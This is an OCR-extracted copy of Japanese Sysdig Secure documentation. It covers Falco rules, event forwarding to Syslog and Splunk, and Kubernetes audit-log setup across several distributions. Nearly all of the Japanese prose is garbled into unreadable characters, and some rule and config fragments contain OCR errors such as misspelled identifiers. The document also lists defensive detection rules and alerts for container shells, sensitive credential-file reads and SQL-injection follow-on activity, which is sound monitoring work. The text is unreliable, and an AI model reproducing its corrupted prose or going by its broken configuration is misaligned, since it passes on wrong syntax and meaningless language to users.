airflow_writing_state
rpm_writing_root_rpmdb
maven_writing_groovy
known_root_conditions
user_trusted_containers

priority: ERROR
[filesystem]

tags:

Default Rules (eadony)

945
946 -
947
948
949

rule:

and
and
and
and
and
and
and
and
and
and

output:

Write below root
desc: an attempt to write to any file directly below / or /root
condition: =

reot_dir and evt.dir = < and open_write

not
not
not
not
not
not
not
not
not
not

fd.name in (known_root_files)
fd.directery in (known_root_directories)
exe_running_docker_save
gugent_writing_guestagent_log
dse_writing_tmp

zap_writing_state

airflow_writing_state
rpm_writing_root_rpmdb
maven_writing_groovy
known_root_conditions

"File below / or /root opened for writing (user=%user.nar

priority: ERROR
[filesystem]

tags:

macro: cmp_cp_by_passwd

B En-IL—ILIE, RIZSysdigAgentBS/N\y I TV RIZF T vh 40T hEECHERATREICEYET
(BEIXI0MEID)

Y sysdig

RYS—A RV IR YT ShTWH I L ZHERT S
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R)O—DBREIN, ANV FDBHANEESNSE, RIA FYRMIBHFSN=ATO I b
F. AR EDBEDIDNLEND, CORYS—D M) A—ENGL G2 ENRREINFET,

Policy Events .kSS_k.ube—addon—manager_kube—addon—ma nager-... -
‘ in sysdig-mgmt
BErowse By Hosts & Containers il
5k -
» k
» k
v

No events found

\

\) sysdig

e
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A4 Ry MigE

Sysdigld. Splunk. Elastic Stack. Qradar. Arcsight. LogDNA% EDHY— K/x—F 4SIEM (% 21)
TABRREL VANV MERE) T3y b I+—LBLUVAFUTY—IUADKRY) O—A4 XY FDEE
HHR—bLTWLET, SysdigSecureD 1 N FERE#EEZFERAL T, READY—ILIZARU b %
ETEET, 295 ET, EXa)T4A4 RV MERTL, SysdigDhfER%E. BRZA RN b
IZERALTVWSY—ILEEEMITHZENTEET,

ARy MEEDTER
e RTSVYH

e syslog

Syslog& DS

Syslogld, YXFLOFXx S JOralZERLET., chld, FITRY FIT—O TN ATERSN.,
BEDEATIARL b eOJEFRIRTLAIZEELTRESLUSNT 2-HICHERAINDIZET
T, SyslogA Ry KZlE, EXELANIL, RRMP, 34 LRA VT, BHIBERLEENEETNET,

Sysdig Event ForwardingZ {83 % & . SysdigSecurelZ& » TURE S 1=K o —A N> k %#Syslog
-U-_/Q_[:%1§—G%$To

Syslogf R MIGEERET S
AR FT—4 %SyslogH—/\—I[Z85%E T B2 -

1. SysdigSecure UIM[settings]EL a—ILM B, [Events Forwarding]® FIZFEEILET,

2. [rdd Integration] KRB UEH VYOI LET,

3. KOy IFIHEDUAZa—hi5[Syslog]#BIRLET,

4. BEIZIHEL T, EnabledRA v FZUYEBEZAFET, TIAHI LTI FILWREFTENICLGE ST
WEY,

&)sysdig %0



5. WEBELA T 3 UvERELET,

Edit Integration

Integration Type Syslog

Enabled .

Integration Name PaperTrail

Server Address logs4.papertrailapp.com

Port 53596

UDP/TCP UbP @ TCP

Protocol RFC 5425 - (TLS) Transport Mapping for Sys
Data to Send Policy Events

a. IntegrationName : #i6 &% E&LET,

b. Server Address : 4 N> FDEREFLDSyslogh—N—FHBELEFT, FASVEFE
IP7 FLRZAALET, FAAS VEADERDIPT FLRIZRRENDIGE. RYICHF
REINET FLAMNMEREINET,

. Port: R—+rBEEFHEELFET,

d 7RFILEEELET,

UDP : Syslog!) R +—MmSyslogT—R #2ET H-bIZEAT SO baL, TI+IL
FDAR— FE514TT, == L. Syslogh—N—IFEEDHR— FZFERT S LS IHERK
TEET,

TCP: vy b —Y DEEOUNIE L /N7y MEKXDIHLED R TUDPEL Y HIXEHMIZERE
MEREWNO, EXa1 T4V TY MIEITCPEFERLET, TCPERKIZHLR—F
514%FEALET, R— F514DTCPIE, T—2EEDEREZSHI-HITFERINE
¥, RFC5425{tHDT 7+ )L kA R— K X6514TT,

&) sysdig o



e. EETAHT—ADIATEHBELET,

RFC3164(Z70 FaILDHWWAA—2 3 0 TEM, WAED T O F3JLIERFC5424TY,
RFC5425(%., BBt ENhf=F ¥ RILEFRT B21=HDRFC5424DHETT, AT E&*
EThH—n—ZiCT7aralLEBIRLET,

6. [savelRBUZEV )Y I LT, IEZERELFET,

Splunk & DS

Splunkf Ry FIEEEFHERT 5
AR b TF—4 %SplunklZE5Ed BI1Z(1% -

1. SysdigSecure UID[settings]EL a—ILM B, [Events Forwarding]® FIZHEEILET,

2. [rdd Integration]REVEH VYOI LET,

3. FAyFEIUAZa—mb[spiunk]ZRBIRLET,

4. BEIZIEL T, EnabledRA v FZUYEZFET, TIAILTEH. :ILLVESIEAEMIZG-
TWFET,

5. BWEBHA T avERELET,

Edit Integration

Integration Type Splunk
Enabled .

Integration Name Events to Splunk
Service URL https://example.url
Service Token

Index

Source

Source Type

Data to Send Policy Events

| Delete Integration | ‘ Cancel |m

a. MBERZEERELFES.

&._)sysdig %



b. Splunk#—EXDURLEEZELFT. “hid, 41 R FZESplunkT T O A A U MMIERE
FHHTTPA R baAL Y B —TY, R—hrEEBHITH—ERURLZAALTL S
Ly, K. scheme:// host:portTY,

c. Splunk4—EX b=V UEFEELEFT, NI, Sysdigh'HTTP Event Collector~ D
Rz T A-DITFERATLHF—IUTY,

d. Optional : BE(ZECTEMDSplunk/ASA—8— (A VTIHR, Y—R, Y—RAE
47) ZBBLET,

e. Index: A RV FPRFEINSA VT VU X, HTTPEvent CollectorDER A >
TVIDREERLIGEF. ATV RERELET,

f. Source: Y—X., D% SysdigMonitorhs DA XY FDY—RAF—/T 4 —)L FEEE
LEY,

g. SourceType : {1 R rDT—ABEFHANLET, FHMICOVTIE, V—RE1M4T%
SBLTLZEL,

CNDDINTA—F—DFMICDLTIE, Splunk®d FFa A2 FESBLTLEZEL,

6. SplunkIZEET HT—2EBIRLFT, JE. SysdiglER ) o—A XY FDREEDHEHR—
FLTWLWET,
7. [savelRB V&IV Y I LT, HEZRELET,

Settings Event Forwarding
@ User Profile © Add Integration
2 Users Enabled Integration Data to Send
= Eventsto Splunk
s = . ed K Events
an [eams “®  Service URL https://example.url

‘ Notifications
AWS Accounts

Sysdig Storage

Agent Installation

&
0
Bl subscription
-
-

Event Forwarding

&)sysdig %



Sysdig SecureM HERE S NT=KR) o—A4 R FMSplunkIZR R ENDHFEDHZRIZRELE

ERS

Sysdig Secure

Alerts by Severity

Edit Export ¥

#Num of Security Events / Time

- 12:00 AM 4:00 AM 8,00 AM 12:00 PM 4:00 PM
_ > SatFeni7
2018
Time
Pending Alerts
Date as
& Description & S RS
A shell was spawned by a program in a container with an attached terminal https://secure. sysdig.con/#/events/f: 1518816180, t: 1518816240
a database-server related program spawned a new process other than itself. This shouldn't occur and is a https://secure. sysdig. con/#/events/f 1518829260, t: 1518829320
follow on from some SQL injection attacks
an attempt to write to the rpm database by any non-rpm related program https://secure. sysdig. com/#/events/f: 1518834900, t: 1518834960
a database-server related program spawned a new process other than itself. This shouldn't occur and is a https://secure. sysdig.con/#/events/f: 1518840060, t: 1518840120
follow on from some SQL injection attacks
an attempt to read any sensitive file (e.g. files containing user/password/authentication information). https://secure. sysdig. con/#/events/f: 1518849300, t: 1518849360

Exceptions are made for known trusted progrars.

I—Vx 2V FIRLVEERLESARY FO5IE

FIFILEDSRIL

AR SR EZEHIZTRE,. T—Cz 2V METIAHILEFTIALDISNILEESHET

event labels:
include:
- process.name
- host.hostName
- agent.tag
- container.name
- kubernetes.cluster.name
- kubernetes.namespace.name
- kubernetes.deployment.name
- kubernetes.pod.name
- kubernetes.node.name

HARELSRILDEM

AR EZRVIZIE, ARVESIRILVLEEDLSEEFENTHELTEFET,

event labels:
exclude:

- custom.label.to.exclude

Y sysdig

— count




event labels:
include:

- custom.label.to.include

it I hi=4 X kAsplunkIZZEE SN S5

{ [-]

baselineId: null

containerId: e4d32e56d9d2
description: A shell was used as the entrypoint/exec point into a container with an
attached terminal.
eventLabels: [ [-]

{ [-]

key: kubernetes.node.name
value: ip-172-31-72-246

}

{ [-]

key: container.name

value:

k8s elasticsearch sysdigcloud-elasticsearch-0 sysdigcloud c824elf8-aalf-11e9-aff4-027768606
bae 0

}

{ [-]

key: kubernetes.cluster.name
value: SysdigBackend

}

{ [-]

key: kubernetes.pod.name
value: sysdigcloud-elasticsearch-0
}

{ [-]

key: kubernetes.namespace.name
value: sysdigcloud

}

{ [-]

key: agent.tag.timezone
value: UTC

}

{ [-]

&._)sysdig >



key: agent.tag.location

value: europe

}

{ [-]

key: process.name

value: bash

}

{ [-]

key: host.hostName

value: ip-172-31-72-246

}

]

falsePositive: false

fields: [ [+]

]

hostMac: 02:77:68:60:6b:ae

id: 702701271278202880

isAggregated: false

matchedOnDefault: false

name: Terminal shell in container

output: A shell was spawned in a container with an attached terminal (user=root
k8s elasticsearch sysdigcloud-elasticsearch-0 sysdigcloud c824elf8-aalf-11e9-aff4-027768606
bae 0 (id=e4d32e56d9d2) shell=bash parent=docker-runc cmdline=bash terminal=34816)
policyId: 18

ruleSubtype: null

ruleType: RULE TYPE FALCO

severity: 5

timestamp: 1564065391633554

version: 1

}

1Ry FMEREMESZAIRT S
BEFDHA EHIRT BHI121F :

1. SysdigSecure UIM[settings] B a—ILh b, [Events Forwarding]® FIZHBBLET,
2. [More options] (3D®M Ky k) Z4av&0) v LET,
3. [Delete Integration]Tﬁg vEIYOLET,

&._)sysdig %



4, [Yes, delete]l'l':’)*'y ‘/’&7 1) ‘77 L—Cs EE&EEEELQETO

KubernetesEs& A4

KubernetesO J#& 12 & Y. SysdigSecureld. Falcoll—IL., 79 T« ET 1« BE&(ZKubernetes Audit
A T—42%@EHAL. PodXa ) T4 R)—DEEETRAITEET, UTICUR FEIRTWNS
TARM)E2A—232¢TS5Y b IA—LDBIZERELET,

MEICEY ., ROBEENFREICGYET,

o Ry K, H—ER, TFASM AV, T—EUEY MR EDERERE
e Configmap~v v TE=IEI—5 Ly FDER/EH/HIBR
o IVFKRAVINDEEEZHYTRIZA4TTS

AR &4
Sysdig AgentZ4 X F—JL L. AgentServiceZ#@RALET

N5DFIEIE, SysdigT—2 2 FMF TIZTKubernetesy S XA —[CF 704 SN TS Z & &R
RELTVET, HHICTOVWTIE, I—Cz U FDA VR M—LLESBLTCESL, I—Yz Vb
AR L—=)LLE=G, SysdigL—Y U FDY—ERTHI U b, —Y L v k., configmap.
daemonsetDEHREFICABL T &L,

I—2xY bDA 2R M—ILH(Isysdig-agent-serviceyamIWBATRMICT TOA Shigh-=HE&.
CCEATLIBLENDYET,

kubectl apply -f
https://raw.githubusercontent.com/draios/sysdig-cloud-scripts/master/agent deploy/kubernetes/

sysdig-agent-service.yaml -n sysdig-agent

AR TV TERIRT S

&)sysdig ¥



Sysdigl¥, SFEIFEFLTSY b IT+—LE T4 AL Ea1— 3 TKubernetesauditA A& T X
FLELz. UTOEY L aVTHRATEILIIZ. TAENIZELSFIEBALETT,

KubernetesBS A R D IL—TF 4 >4 1&. Kubernetes/\—> 3 VR TAREIZERINE L=, 4
[Z2DULVTIE. Kubernetes® K¥xa A2 FETELIEELY,

W=—T A 2T EROVTNDEN L TEITESNET,

e Webhook/\v % T > K : Kubernetes/A\—2 3 >>=1.11. Ft=I&
e AuditSinkZFEHLE=SH/Nv 2 T K : Kubernetes/A\—> 3 >>=1.13

TAAMIE2A—2 3 UA111/1128 113+l A ZHR— T HFHE, BNV I TV FNN—D 3
vIMBESNET,

ROKIE, TRANEADA T avEFEDELDTT,

Distro/Platform Version Uses Webhook Uses Dynamic Uses Other

OpenShift 3.11 X

OpenShift 42,43 X

MiniShift 3.11 X

Kops 1.15 X

GKE (Google) 1.13 X (bridge)

EKS (Amazon) eks.5/ Kubernetes 1.14 X
CloudWatch

RKE (Rancher) RKE v1.0.0/Kubernetes 1.13+ X

IKS (IBM) 1.15 X

Minikube 1.11/1.12 X

Minikube 1.13+ X
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Kubernetesls O J = F%ICT S

NB5DFIEIE, Kubernetesy S XA —IZBEEBEEBREIIOTRENLTVN EEFRELTVET,
COFIETIE. BEEOQST A vtE—C%FSysdigT—C 0 MIIL—F 4 053 5=DIZOAHEREEML
F9,

NEDFIEDEZ #BELT H5R—2 XV TAHY ., RIVEERBRECELTCWLET, LT
NOBZEETH, MITTBRICRTYINART Y TOFIREITEFRSHEL L EHBOLET,

OpenShift 3.11

TE

Openshift 3.111&. webhook/\v o T > FDHEHHR— bk LET (Openshift RFa1 A2 T IFE
HEE|) ELTHBAINATVLEY) .

Kubernetes APIR AR —/ — FTROFIEZETLET,

1. Rt X hf-audit-policy.yaml 7 7 4 JL % /etc/origin/masterT 4« L4 k1) MKubernetes APIT X
9_/ - F'::l I:o—l,i'g_o

(ZDT 4 LY kY IE/etc/origin/master®Kube APIH—/N—a U FFIZIHD Y hEN TS T
. F7ANEATFTEITINTLSOpenShifth —EXRICK>TREBINET, )

2. Webhookt#&R 7 7 4 L E/ERL L. /etc/origin/masterT 4« L% k') MKubernetes APIT X4 —
/J—FlzaE—LZEd,

3. /etc/origin/master/master-config.yaml 27 7 A JLIZRZEM L T, BEFE®DauditConfig: T k1)
FEEMAT, YRI—BREEELET,

auditConfig:
enabled: true
maximumFileSizeMegabytes: 10
maximumRetainedFiles: 1
auditFilePath: "/etc/origin/master/k8s audit events.log"
logFormat: json
webHookMode: "batch"

webHookKubeConfig: /etc/origin/master/webhook-config.yaml
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policyFile: /etc/origin/master/audit-policy.yaml

NEITI1DDAEIX. ocexconfig/\y FEHEHRATHZETYT,

LFEDABEN T 7 4 JLaudit-patch.yamllZ#H Y . /etc/origin/master/master-config.yaml %
/tmp/master-config.yamloriginallZa E— L= ERET D E. REETTEET,

oc ex config patch /tmp/master-config.yaml.original -p "$(cat audit-patch.yaml)"

&gt; /etc/origin/master/master-config.yaml

4. LTFZEITLT. APIY—N—ZHBEELET,

# sudo /usr/local/bin/master-restart api

# sudo /usr/local/bin/master-restart controllers

Bitg 9 5 &. Y—/\—[EKubernetes auditf N> k#SysdigT—> x> Y —E X[
}l/_7__’]/ Vﬁ‘biﬁo

MiniShift 3.11

OpenShift 3.11 & B#RIZ. Minishift 3.11l&webhook/\y &2 T > KZEHR— k L TULVET A, MinishiftH’
Kubernetes APIY—/\—Z 8T S5 HEIEEGY FT., LEA-T, a2 FSA4 UBIHIETERDOF
IEE XS LRGYFT,

1. 1Bt & hi-audit-policy.yaml 7 7 4 JL ZMinishift VMDD T « L& k) /var/lib/minishift/base
/kube-apiserver/[CaE—LFT,

(ZDT 14 LD k1 IE/etc/origin/masterDkube APIY—/A—a U FF—[ZX 9 bEhbTt=
H. AVTF—TEITINTLSMinishit Y —EXICK > TI 7 ILHBBREINFET, )

2. Webhook#&m 7 7 4 JLE/ER L. Minishift VM®DT « L' k1) /var/ lib/ minishift / base /
kube-apiserver /[ZCaE—LZEY,

3. KL #Minishift VM®/var/lib/minishift/base/kube-apiserver/master-config.yaml 2B L T, <
AA—EHEEREL. BEIZHRLTIY—V/BHLET,
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;¥ : master-config.yamlld. /var/lib/minishift/base/openshift-apiserver%>
/var/lib/minishift/base/openshift-controller-manager/%Z EDMD T 4« L FIZEEFELET .

kube-apiserverlZ®H 5+ DZEZER T IHELNHY FET,

kubernetesMasterConfig:
apiServerArguments:
audit-log-maxbackup:
- uqmn
audit-log-maxsize:
- "1io"
audit-log-path:
- /etc/origin/master/k8s_audit events.log
audit-policy-file:
- /etc/origin/master/audit-policy.yaml
audit-webhook-batch-max-wait:
- 5s
audit-webhook-config-file:
- /etc/origin/master/webhook-config.yaml
audit-webhook-mode:

- batch

4, REEFTLTAPIY—N—ZBEE LTI
(minishiftDIHFE)

# minishift openshift restart

Bife#T 5 &, Y —/\—I[EKubernetes auditf N> k %SysdigT—Y x> Y —ERIZIL—T 4
VILEY,
OpenShift 4.2,4.3

T 7 #JL b TlX. Openshift 4.2/4.31%. Kubernetes APl —/N\—O45 ZHHIZL. /8R
/var/log/kube-apiserver/audit.log CT&E Y A2 —/ — KR CHIARIREIZLET, =2 L. APIY—N—[IT
TH#ILFTERERNY I I FEERT ABETERIATULERA,

=N, APIY—N—EBREZEEL T, BNV I I FOERZANTILELHY FT, RIC.
Auditsinks Z¥ER L T, BEEA R F%SysdigT—P Y MIIL—TFT4 V9 LET,
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LUTZETLT. APIV—N—ERZEHLET:

oc patch kubeapiserver cluster --type=merge -p
'{"spec":{"unsupportedConfigOverrides":{"apiServerArguments": {"audit-dynamic-configura
tion":["true"],"feature-gates":["DynamicAuditing=true"],"runtime-config": ["auditregist

ration.k8s.io/vlalphal=true"™]}}}}"'

APIH—N—HOEH EN-BRTHEHT IDEFLET,

3. B4+ 3 vy auditsinkZERLET,
4, B4+ 3w auditsinkhMEF SN b &, Kubernetes Audit £ X2 FMSysdigT—o x> Y —

Kops

EXICI—T4aTEnET

BHY ) —ADKops (1.15) FEEFNV I I FOBEREYR—FLTUWRWN =, CThbDF
JIE TlZWebhookZ{#ER L E T, kopssetZERA LTI S RZ—1EBRELEE L. kopsupdateZF{FAL T
BREEH L TH S, kopsrolling-updatez=ERLTO— 257y TT—bERTLET,

X KopsMEIE [Ehttps://github.com/kubernetes/kops/pull/7424(2< — SN TWET AN, F1=Kops
)1)—ZD—ETIEHY FH A

1
2.

3.

Webhook#f 7 7 A ILEER L. B—AIIZRELET,
WEDY SRI—EBRERBL. 774 IVIRELES.

kops get cluster <your cluster name> -o yaml> cluster-current.yaml

webhook-config.yamlh¥/var/lib/k8s_auditD &Y A 42—/ — K THIATIEETH Y . webhook/\y
DI REEMZT B-OICHELZIE Tkube-apiserver 7T A ANEITEND L SIZT BIC
[X. cluster.yamlZ#REE L TEA0/fileAssetsE & UkubeAPIServert 9 & 3 v RDESIZEEL
F9,

apiVersion: kops.k8s.io/vlalpha?2
kind: Cluster

spec:

fileAssets:
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- name: webhook-config

path: /var/lib/k8s audit/webhook-config.yaml

roles: [Master]

content: |

<contents of webhook-config.yaml go here>

- name: audit-policy

path: /var/lib/k8s audit/audit-policy.yaml

roles: [Master]

content: |

<contents of audit-policy.yaml go here>

kubeAPIServer:
auditLogPath: /var/lib/k8s audit/audit.log
auditLogMaxBackups: 1
auditLogMaxSize: 10
auditWebhookBatchMaxWait: 5s
auditPolicyFile: /var/lib/k8s_audit/audit-policy.yaml
auditWebhookConfigFile: /var/lib/k8s audit/webhook-config.yaml

YOEFER L TCINETOBBELGFEI, RORVY T EFERTEHETY:

cat <<EOF > merge.yaml
spec:
fileAssets:
- name: webhook-config
path: /var/lib/k8s audit/webhook-config.yaml
roles: [Master]
content: |
$ (cat webhook-config.yaml | sed -e 's/"/ /")
- name: audit-policy
path: /var/lib/k8s_audit/audit-policy.yaml
roles: [Master]
content: |
$(cat audit-policy.yaml | sed -e 's/"/ /")
kubeAPIServer:
auditLogPath: /var/lib/k8s audit/audit.log
auditLogMaxBackups: 1

auditLogMaxSize: 10

&_) sysdig
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auditWebhookBatchMaxWait: 5s

auditPolicyFile: /var/lib/k8s audit/audit-policy.yaml

auditWebhookConfigFile: /var/lib/k8s audit/webhook-config.yaml
EOF

yg m -a cluster-current.yaml merge.yaml > cluster.yaml

4. FHLWI SRR TKopsZEBRLET .
kops replace -f cluster.yaml

5. V3R —HBREBHFLT. VSREZ—~DEEZERLET,

kops update cluster <your cluster name> --yes

6. O—Y) U ITEHEEITLT. FILWI 7L ILEAPIH—N—ERTYRE—/—F%HE
F7O04LET,

kops rolling-update cluster --yes

GKE (Google)

TE

ChoDFIEIE., 95R2—%FEML., goudB & Ukubectla~v > KSA4>TadS LMY SR
B—EtREFTEDESICHEREFATHDIEERIRELTLET,

IR7E. kubectl exectrace #HEIXGKEY SR A —TIlEdHER— S TOWEEAN, HHOITRTOTH
TAET A EBRMEEITERICH#EETATLELE S,

GKE[X 9 TIZKubernetesB & O 4 Zi2#t L TLVE A, O 4 (LStackdriverZERA L TR S,
Kubernetesh\MERT 232414 T4 TRKEFEL DI BKTT,

MEZBEMIET 511, Stackdriverh 58EER Y #5AMY . Kubernetest 4 74 TR RIC—HT
5&5ITBI7A—7 v bL. BAATEEL Webhookd & USysdigT—L ¥ Y —EXICAOT Z#(ET
57w orFogds A
(https://github.com/sysdiglabs/stackdriver-webhook-bridge/blob/master/stackdriver-webhook-bridge.y
aml) ZER L E L 1=,
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https://github.com/sysdiglabs/stackdriver-webhook-bridge/blob/master/stackdriver-webhook-bridge.yaml
https://github.com/sysdiglabs/stackdriver-webhook-bridge/blob/master/stackdriver-webhook-bridge.yaml

1. O %HAMBZ ENTESHGoogleCloud (KubernetesTIdALY) H—ERX7HHO Y bEF—

EERLET,
$ gcloud iam service-accounts create swb-logs-reader --description "Service
account used by stackdriver-webhook-bridge" --display-name

"stackdriver-webhook-bridge logs reader"

$ gcloud projects add-iam-policy-binding <your gce project id> --member
serviceAccount:swb-logs-reader@<your gce project id>.iam.gserviceaccount.com

--role 'roles/logging.viewer'

$ gcloud iam service-accounts keys create $PWD/swb-logs-reader-key.json

--iam-account swb-logs-reader@<your gce project id>.iam.gserviceaccount.com

1. Y—EXR7HDO Y FXF—%ETKubernetesi—o Ly FEERLET,
kubectl create secret generic stackdriver-webhook-bridge

--from-file=key.json=$PWD/swb-logs-reader-key.json -n sysdig-agent
2. RESATWBSLOEEALT. JUySTRISLEISRRICTIAALET,

stackdriver-webhook-bridge.yaml file:

kubectl apply -f stackdriver-webhook-bridge.yaml -n sysdig-agent

J)wo7OT3ALIE, BEEANY & KA A U4sysdig-agent.sysdig-agent.sve.cluster.local [Z)L—
TAVILET, Chix, I—Czo bOT IO/ BELIEIIREERTY TELTHERLE
sysdig-agent—E R [ZHE LE T,

EKS (Amazon)
N5DFEIX. Kubernetesvl.14Meks5THRIFcsNZELT=,

Amazon EKSIZEEE O T RADO I 7 v O #RELFEAN., BEED S #CloudWatchlZERE TEE
T, SysdigE—2 x> kM 5CloudWatchASIZ7 O 2R T BIZIE, ROFIBIZHKWNET,

1. EKSY S X2 —®MCloudWatchB 5 #HFxhzLET,

&)sysdig »


https://github.com/sysdiglabs/stackdriver-webhook-bridge/blob/master/stackdriver-webhook-bridge.yaml

2. J—h—/—FHh5CloudWatch~D7 U REHARILET,
3. CloudWatchZ®R—1J o5 L, 41 R h%&SysdigT—o Y MIEETRH LT IO AV k
#EBMLEI,

AWSUIZE R L TEE TZE B EHI(https://github.com/sysdiglabs/ekscloudwatch) & . BE&E Q4 7 #
D—EZDFNA—FELVA A—CFERDFBIENTEET, (RBFVRATLTIE., ThilaCRY
T hELTEESINET, )

CloudWatchlZEMDAWSEH#H Y —ERXTHAZ EIZTEFELTLESL, &5, 2OYYa—3
UTlE. 7—H—/ —FKTEFINTWLWBETRTORY KAAWS APIZEH L TCloudWatchO 4 & 5
mAZEMNHFREINET

RKE (Rancher) with Kubernetes 1.13+

NS5DFIEIE. RKEV10.0E & UWKubernetesv1.16.3THRiE= N E L=, Kubernetesv1.13LLED
N—2 a3 TEHETHTLEL D,

EBEYR—FETIHINFTITICAMICLESDTOETD, ELITHENSTEEHICEERER)V—%
EHTILENHYES. ChoDFIEICLY, I—P 2 FOY—EXZE$ET webhook/Ny I T Y
FABERNZGYET, EBRET ST EFDITT EHENG VO, BMNEE NNV I I FEYR—
FEhTOWFEEA,

1. &Kubernetes APIR XA —/ — KT, T4 L% kY/var/lib/k8s_auditZ 1R L £ 9,

2. %&KubernetesAPIR X2 —/ — KT, R S htzaudit-policy.yaml 7 7 A LEI XA —/ — KD
/var/lib/k8s_auditT 4 LY FJIZaAE—LEY, (ZOT« LY FYIFAPIH—/N—IZT I b
Sh, BE/VDzTIVIITF7FANANDT I CRAEHALET, )

3. Webhookti&m 7 7 1 L E4ER L. &Kubernetes APIR XA —/ —KDT 4 LY k) /var/lib/
k8s_auditizaE—LZE9,

4, RKEY 5 RA—E&EclusterymlZZEE L T, extra_argstzy ¥ 3 > kextrabindsty 3%
kube-apit2 L a vIZEMLET, RIZHZERLET,

kube-api:
extra args:

audit-policy-file: /var/lib/k8s_audit/audit-policy.yaml
audit-webhook-config-file: /var/lib/k8s audit/webhook-config.yaml
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https://github.com/sysdiglabs/ekscloudwatch
https://github.com/draios/sysdig-cloud-scripts/blob/master/k8s_audit_config/audit-policy.yaml

audit-webhook-batch-max-wait: 5s
extra binds:

- /var/lib/k8s audit:/var/lib/k8s audit

hnizkyY, RBEER) O—ZFFHL. /ER L -webhook/\ vV TV FZEFERAT DL
512, APIH—/N\—DaAT Y FSA USIMAEERSINET,
5. rkeupZFERALTCRKEY S RA—ZHBEEFLET,

IKS (IBM)

IKSIX. KubernetesB&E A N> kEE—DERAIEEZT Webhook/N\v 9 T2 FURLIZIL—T 4 V535
EEHR—EFLTWET, BB AuditsinkslZHR—FEhTHE ST, EE S hBKubernetesE & A
RNy hZEHIETHEERER) O —FFEBTHHEEEITR—FShTOWERA,

UTDOFIEIE. Fluentdé DA AEICEAT AIBMIBEHDO R A FERIRLE-EDTY, FIIZE
HEINTWBISRA—BFIUV7TIDATEEET H-ODIKSY—ILICKEBELTWS (Ff=I35#3E
T5) CEMNHFEINET,

#IPR : Kubernetes® 7 74 JL FDEERY O —IZ(X. BE. RequestFE f=ILRequestResponse L N JLD
ARV KMEEFENFRA, 2FY., ER/EESINDAF TPV FEFHMICEARSIL—IIL (FzE R
kareg*8 & UWkaresp*ZFEHT BIL—I) T4—ILK) [FhYHA—hFEEA, ZNIZIEXRDIL—)L
NEENFET,

® C(Create Disallowed Pod

® Create Privileged Pod

® Create Sensitive Mount Pod

® Create HostNetwork Pod

® Pod Created in Kube Namespace

® Create NodePort Service

® Create/Modify Configmap With Private Credentials
® Attach to cluster-admin Role

® ClusterRole With Wildcard Created

® ClusterRole With Write Privileges Created

\

\) sysdig

47

4


https://cloud.ibm.com/docs/containers?topic=containers-health&amp;locale=en%5C043science

® (ClusterRole With Pod Exec Created

NBDFIETIX, Fluentdh 5SysdigT—oxz v bH—EXRIZYSF ALY T BAEICDNVTERAL
F9,
1. webhook/\w 4 T > KURL#%sysdig-agenth—EXDIP7 KLRIZEELET,

http://$ (kubectl get service sysdig-agent -o=jsonpath={.spec.clusterIP} -n
sysdig-agent) :7765/k8s _audit

2. webhook/Ay 2 T2 FURLWERESN TS L ZHRELET,
ibmcloud ks cluster master audit-webhook get --cluster <cluster name or ID>

3. Y95 AR —TAA—%H#HF L T. WebhookZKubernetes APIH—/\—IZBERHALET, TAE—
NEFINDETIZHIINDEELHY T,

ibmcloud ks cluster master refresh --cluster <cluster name or ID>

214 T 4 7 Kubernetes ¥ L < [£. Minikube 1.11/1.12

N oDFIEIE. Minikube 1.20Z AL THRIESNFE LTz, #thDMinikube/N—2 3 2%,
Kubernetes/A—< 3 21.11/1.12 (webhook/A\w o TV KDHZEHHR— ) ZETLTLSEREY#EEL
F9, UTOTARTOFEIZHE LT, Minikube VM] (&, MinikubelZ &k » TR SN -VMZEIEL E
9, --vm-driver=noneZFEA L TWSIHFE. TNEA—AILTLUEZEKRLET,

4. RRBE—/—FKIZTF 4 L% FY)/var/lib/k8s_auditZ{ERL LEF ., (MinikubeTl&. Minikube
VMEIZHBZLENHY FET, )

5. B I hf-audit-policy.yaml Z 74 ILET « LD k1Y) /var/lib/k8s auditizaE—LET, (2D
TALY FURAPIH—N—IZYI v bEN, BB/ TITVI IT7ANADT IR eirft
LE 9., MinikubeTl. Minikube VM LEIZHBZLELHY ET, )

6. Webhookt#Em 7 7 1 L EER L. &Kubernetes APIR XA —/ —KDT 4 LY k') /var/lib/
k8s auditizcaF—L %9,

7. /etc/kubernetes/manifests/kube-apiserver.yaml CKubernetes API—/N\—Y Z_J 1 X %X &
L. ROV 54 U5I8EEMLES,
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https://github.com/draios/sysdig-cloud-scripts/blob/master/k8s_audit_config/audit-policy.yaml

e

--audit-log-path=/var/1lib/k8s_audit/k8s audit events.log
--audit-policy-file=/var/1lib/k8s_audit/audit-policy.yaml
-—audit-log-maxbackup=1

-—audit-log-maxsize=10

--audit-webhook-config-file=/var/1lib/k8s_ audit/webhook-config.yaml

-—audit-webhook-batch-max-wait=5s

a2 RS54 U5I18I%. 0% S L/usr/local/bin/kube-apiserver~®M3|# & L Ta T4
TRESINFT, V2O X MOBEEEI Y aVERDELSIZHEYFET,

spec:
containers:
- command:

- kube-apiserver --allow-privileged=true --anonymous—-auth=false
--audit-log-path=/var/lib/k8s audit/audit.log
--audit-policy-file=/var/1lib/k8s audit/audit-policy.yaml
--audit-log-maxbackup=1
--—audit-log-maxsize=10
--audit-webhook-config-file=/var/1lib/k8s audit/webhook-config.yaml

-—audit-webhook-batch-max-wait=5s

/etc/kubernetes/manifests/kube-apiserver.yamllZ & % Kubernetes APl —/N\—Y Tz X + &
ZHE L T. /var/lib/k8s_auditd <™ > k Zkube-apiservera > T FHIZEMLET, BEETEZEH
DavERODELSIZHEYFET,

volumeMounts:
- mountPath: /var/lib/k8s_audit/
name: k8s-audit

readOnly: true

volumes:

- hostPath:
path: /var/lib/k8s audit
type: DirectoryOrCreate

name: k8s-audit
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9. YT RAMA2ZEHET B &, Kubernetes APIH—N\—HBEIMICHBREI LTI, BT S
& . KubernetesBEEA R F&SysdigL—o Y FOY—ERIZIL—T a4 VT LET,

414 T 4 7 Kubernetes % L < [& Minikube 1.13+

NB5DOFEIE. Minikube 1.20%FERA L THRIEESNFE L=, ZDMDMinikube/N—2 3 2%,
Kubernetes/\—2 3 V113U EET L TCWARYMELET, 1LI13EZFEAT HIEE. Chodmsw
[XBMsinksZ BRI LETHA. TN THkube-apiserverav > RS A UBIHMODEEABETT,

UTDTARTDFZEIZE T, Minikube VM) (X, MinikubelZ&k > TR SN -VMZELET,
--vm-driver =noneZEHA L TW55EE. cnIEO—hILTL UV EEKLET,

1. RRA—/—FKIZT 4L kY /var/lib/k8s_ auditZ{ERH LEJ ., (MinikubeTIlL. Minikube
VMLEIZHEILELHY FET, )

